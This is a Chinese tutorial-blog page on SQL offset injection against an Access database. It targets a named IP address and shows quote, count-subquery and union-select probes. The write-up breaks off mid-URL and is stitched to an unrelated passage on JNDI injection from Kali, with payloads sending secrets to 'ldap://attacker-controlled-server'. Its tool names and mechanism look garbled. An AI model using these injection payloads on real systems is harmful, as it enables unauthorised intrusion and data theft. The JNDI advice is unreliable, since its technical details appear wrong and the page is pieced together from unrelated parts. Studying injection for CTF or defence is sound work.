偏移注入payload构造技巧实战+Access注入

本文通过一个实际案例介绍了如何进行SQL注入,特别是偏移注入的方法。首先,通过URL判断存在SQL注入点,然后尝试猜测数据库表和字段数。利用`union`和`order by`来确定字段数量,接着通过偏移注入获取具体字段位置。最后,构造Payload获取所需信息,讲解了偏移注入的原理和查询语法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

url:http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886
拿到url,虽然知道肯定是id是注入点,但还是写一下完整思路:
1.拿到界面,长这样
界面
2.先判断是否有sql注入,注入点,886后加’,发现报错,证明有注入
判断注入点
猜测数据库表并验证,方法是url后加 and (select Count(*) from 数据库表)>0,猜测到admin表,news表。
猜测admin表
如果不用刚才的方式,用union语句也可,在url后加 union select 1,2,3,4,id,6,7,8,9,10,11,12 from 数据库表,同样效果,不过如果用union能同时查看字段数。
3.查看字段数。通过union也可以,通过order by也可以。
先用union:http://218.245.4.113:8888/web03/ca55022fa7ae5c29d1790

在Kali Linux系统上构造用于JNDI(Java Naming and Directory Interface)注入payload通常需要一些特定的知识和技术。首先,你需要了解如何利用JNDI漏洞,这种漏洞常见于Web应用服务中,当它们没有正确配置JNDI安全时,攻击者可以构造恶意名称并解析出敏感信息。 下面是构建一个基本的JNDI注入payload步骤: 1. **了解攻击原理**: JNDI注入通常涉及到`java.naming.InitialContext` API,通过这个API,攻击者可以向应用程序的资源路径发送请求。payload通常是将恶意URL编码为JNDI名称的一部分,例如 `ldap://attacker-controlled-server/secret?password=your-sensitive-data`。 2. **选择工具**: Kali Linux上可以使用`jndi-unescaper`工具来帮助生成payload,或者直接在命令行中构造。比如,`ldapsearch`命令也可以用于测试。 3. **编写payload**: 使用`jndi-unescaper`: ```sh echo "java:comp/env/jdbc/MyDatabase" | jndi-unescaper -e ldap://attacker-controlled-server/?name=your-secret ``` 或者手动编码: ``` java:comp/env/jdbc/MyDatabase;url="ldap://attacker-controlled-server/?name=your-secret" ``` 4. **测试payload**: 将payload放入Web应用的输入字段(如URL参数、表单数据等),然后尝试访问该页面看是否触发预期的行为,如返回敏感信息。 5. **防护措施**: 要防范此类攻击,应确保服务器只允许来自信任源的JNDI连接,并启用适当的防火墙规则和输入验证。 注意:在实际渗透测试或评估中,请遵守道德规范,不要未经授权对目标环境进行操作。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值